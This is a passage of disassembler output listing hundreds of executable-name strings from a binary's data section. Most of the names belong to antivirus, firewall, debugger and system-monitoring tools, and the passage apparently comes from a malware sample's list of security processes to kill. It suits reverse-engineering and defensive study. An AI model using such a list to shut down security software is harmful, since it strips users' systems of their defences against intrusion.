aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:0043B738o aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:0043B73Co align 4 aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:0043B740o align 4 aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:0043B744o align 4 aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:0043B748o aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:0043B74Co align 10h aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:0043B750o align 10h aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:0043B754o align 4 aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:0043B758o align 4 aMcupdate_exe_0 db 'MCUPDATE.EXE',0 ; DATA XREF: .data:0043B75Co align 4 aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:0043B760o aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:0043B764o align 4 aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:0043B768o align 10h aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:0043B76Co align 4 aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:0043B770o align 4 aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0043B774o align 4 aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:0043B778o align 4 aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:0043B77Co aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:0043B780o align 4 aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:0043B784o align 10h aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:0043B788o aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:0043B78Co align 4 aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:0043B790o aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:0043B794o aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:0043B798o align 4 aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:0043B79Co align 4 aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:0043B7A0o align 4 aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:0043B7A4o aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:0043B7A8o align 4 aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:0043B7ACo align 10h aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .data:0043B7B0o align 4 aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:0043B7B4o aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:0043B7B8o aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:0043B7BCo aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:0043B7C0o align 4 aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: .data:0043B7C4o align 4 aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:0043B7C8o align 4 aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:0043B7CCo align 4 aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:0043B7D0o align 4 aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:0043B7D4o align 4 aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:0043B7D8o aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:0043B7DCo align 4 aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:0043B7E0o align 4 aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:0043B7E4o align 4 aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:0043B7E8o align 4 aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:0043B7ECo align 4 aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:0043B7F0o align 4 aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:0043B7F4o align 10h aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:0043B7F8o align 10h aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:0043B7FCo aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:0043B800o align 4 aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:0043B804o align 4 aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:0043B808o align 4 aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:0043B80Co align 4 aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:0043B810o align 4 aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:0043B814o align 10h aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:0043B818o aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:0043B81Co align 4 aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:0043B820o aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:0043B824o align 10h aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:0043B828o align 4 aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:0043B82Co align 4 aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:0043B830o aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:0043B834o align 10h aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:0043B838o align 10h aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:0043B83Co aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:0043B840o align 10h aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:0043B844o align 4 aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:0043B848o aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:0043B84Co align 4 aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:0043B850o align 4 aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0043B854o align 4 aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:0043B858o aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:0043B85Co align 4 aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:0043B860o aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:0043B864o align 10h aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:0043B868o align 4 aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:0043B86Co align 4 aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:0043B870o aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0043B874o align 4 aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:0043B878o align 4 aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:0043B87Co align 4 aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:0043B880o align 4 aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:0043B884o align 4 aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:0043B888o align 4 aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:0043B88Co align 4 aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:0043B890o align 4 aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:0043B894o aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:0043B898o align 10h aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:0043B89Co align 10h aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:0043B8A0o align 4 aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:0043B8A4o align 4 aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:0043B8A8o align 4 aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:0043B8ACo align 4 aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:0043B8B0o aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0043B8B4o align 4 aNupgrade_exe_0 db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0043B8B8o align 4 aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:0043B8BCo align 4 aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:0043B8C0o align 4 aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:0043B8C4o aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:0043B8C8o aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:0043B8CCo align 10h aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:0043B8D0o align 10h aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:0043B8D4o aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:0043B8D8o align 4 aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:0043B8DCo align 4 aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:0043B8E0o align 4 aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:0043B8E4o align 4 aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:0043B8E8o aOutpost_exe_0 db 'OUTPOST.EXE',0 ; DATA XREF: .data:0043B8ECo aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:0043B8F0o align 10h aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:0043B8F4o align 4 aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:0043B8F8o align 4 aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:0043B8FCo align 10h aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:0043B900o align 4 aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:0043B904o align 4 aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:0043B908o align 4 aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:0043B90Co align 4 aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:0043B910o align 4 aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:0043B914o aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:0043B918o align 4 aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:0043B91Co align 4 aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:0043B920o align 4 aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:0043B924o align 4 aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:0043B928o align 4 aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:0043B92Co align 4 aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:0043B930o aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:0043B934o aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:0043B938o align 4 aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:0043B93Co aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:0043B940o align 4 aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:0043B944o align 4 aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:0043B948o align 4 aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:0043B94Co align 4 aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:0043B950o aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:0043B954o align 4 aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:0043B958o align 4 aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:0043B95Co align 4 aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:0043B960o align 4 aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:0043B964o align 4 aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:0043B968o aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:0043B96Co aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:0043B970o align 4 aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:0043B974o aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:0043B978o align 4 aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:0043B97Co align 4 aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:0043B980o align 10h aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:0043B984o aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:0043B988o aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:0043B98Co align 4 aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:0043B990o align 4 aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:0043B994o align 4 aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:0043B998o align 4 aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:0043B99Co align 10h aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:0043B9A0o align 4 aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:0043B9A4o aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:0043B9A8o align 10h aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:0043B9ACo align 4 aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:0043B9B0o align 4 aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:0043B9B4o align 4 aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:0043B9B8o aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:0043B9BCo align 10h aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:0043B9C0o aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:0043B9C4o align 4 aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:0043B9C8o align 4 aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:0043B9CCo aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:0043B9D0o align 4 aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:0043B9D4o aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:0043B9D8o align 4 aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:0043B9DCo align 4 aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:0043B9E0o aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:0043B9E4o align 4 aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:0043B9E8o aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:0043B9ECo align 4 aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:0043B9F0o align 4 aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:0043B9F4o align 4 aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:0043B9F8o aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:0043B9FCo align 4 aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:0043BA00o aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:0043BA04o align 4 aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:0043BA08o align 4 aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:0043BA0Co align 4 aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:0043BA10o align 4 aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:0043BA14o align 4 aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:0043BA18o align 4 aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:0043BA1Co aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:0043BA20o align 10h aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:0043BA24o align 4 aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .data:0043BA28o aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:0043BA2Co align 4 aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:0043BA30o align 4 aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:0043BA34o align 4 aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:0043BA38o align 4 aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:0043BA3Co align 10h aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:0043BA40o align 4 aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:0043BA44o aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:0043BA48o align 4 aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:0043BA4Co aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:0043BA50o align 4 aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:0043BA54o align 4 aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:0043BA58o aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:0043BA5Co aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:0043BA60o align 4 aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0043BA64o align 10h aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:0043BA68o align 4 aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:0043BA6Co aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:0043BA70o align 4 aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:0043BA74o align 4 aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:0043BA78o aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:0043BA7Co aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:0043BA80o align 4 aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:0043BA84o aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:0043BA88o aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:0043BA8Co align 4 aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:0043BA90o align 10h aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:0043BA94o align 4 aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:0043BA98o align 4 aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:0043BA9Co aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:0043BAA0o align 4 aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:0043BAA4o align 4 aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:0043BAA8o aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:0043BAACo align 4 aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:0043BAB0o align 10h aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:0043BAB4o align 4 aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:0043BAB8o align 4 aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:0043BABCo aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:0043BAC0o aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:0043BAC4o align 10h aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:0043BAC8o aStart_exe db 'START.EXE',0 ; DATA XREF: .data:0043BACCo align 4 aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:0043BAD0o align 4 aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:0043BAD4o aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:0043BAD8o aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:0043BADCo align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:0043BAE0o aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:0043BAE4o align 4 aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:0043BAE8o align 4 aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:0043BAECo aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:0043BAF0o aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:0043BAF4o align 10h aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:0043BAF8o aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:0043BAFCo aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:0043BB00o aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:0043BB04o align 4 aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:0043BB08o align 4 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:0043BB0Co align 10h aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:0043BB10o align 4 aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:0043BB14o align 4 aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:0043BB18o aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:0043BB1Co align 10h aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:0043BB20o align 4 aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:0043BB24o align 4 aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:0043BB28o aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:0043BB2Co aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:0043BB30o align 10h aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:0043BB34o aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:0043BB38o aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:0043BB3Co aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:0043BB40o align 10h aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:0043BB44o align 4 aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:0043BB48o align 4 aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:0043BB4Co aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:0043BB50o align 4 aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:0043BB54o aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:0043BB58o align 10h aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:0043BB5Co aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:0043BB60o align 4 aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:0043BB64o aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:0043BB68o aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:0043BB6Co align 4 aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:0043BB70o align 10h aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:0043BB74o align 10h aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:0043BB78o align 4 aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:0043BB7Co align 4 aUpdate_exe_0 db 'UPDATE.EXE',0 ; DATA XREF: .data:0043BB80o align 4 aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:0043BB84o align 10h aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:0043BB88o align 4 aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:0043BB8Co align 4 aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:0043BB90o align 4 aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:0043BB94o align 4 aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:0043BB98o aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:0043BB9Co align 10h aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:0043BBA0o aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:0043BBA4o align 4 aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:0043BBA8o align 4 aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:0043BBACo aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:0043BBB0o aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:0043BBB4o align 4 aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:0043BBB8o aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:0043BBBCo align 4 aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:0043BBC0o align 4 aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:0043BBC4o align 4 aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:0043BBC8o align 10h aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:0043BBCCo aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:0043BBD0o align 4 aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:0043BBD4o aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:0043BBD8o align 4 aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:0043BBDCo align 4 aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:0043BBE0o aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:0043BBE4o align 10h aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:0043BBE8o align 10h aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:0043BBECo align 4 aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:0043BBF0o align 4 aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:0043BBF4o align 4 aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:0043BBF8o align 4 aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:0043BBFCo align 4 aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:0043BC00o align 4 aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:0043BC04o align 4 aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:0043BC08o aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:0043BC0Co align 4 aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:0043BC10o align 4 aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:0043BC14o align 4 aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:0043BC18o aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:0043BC1Co align 4 aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:0043BC20o align 10h aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:0043BC24o align 4 aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:0043BC28o align 4 aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:0043BC2Co aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:0043BC30o align 10h aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:0043BC34o aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:0043BC38o align 4 aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:0043BC3Co align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:0043BC40o aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:0043BC44o align 4 aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:0043BC48o aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .data:0043BC4Co align 10h aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:0043BC50o align 10h aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: 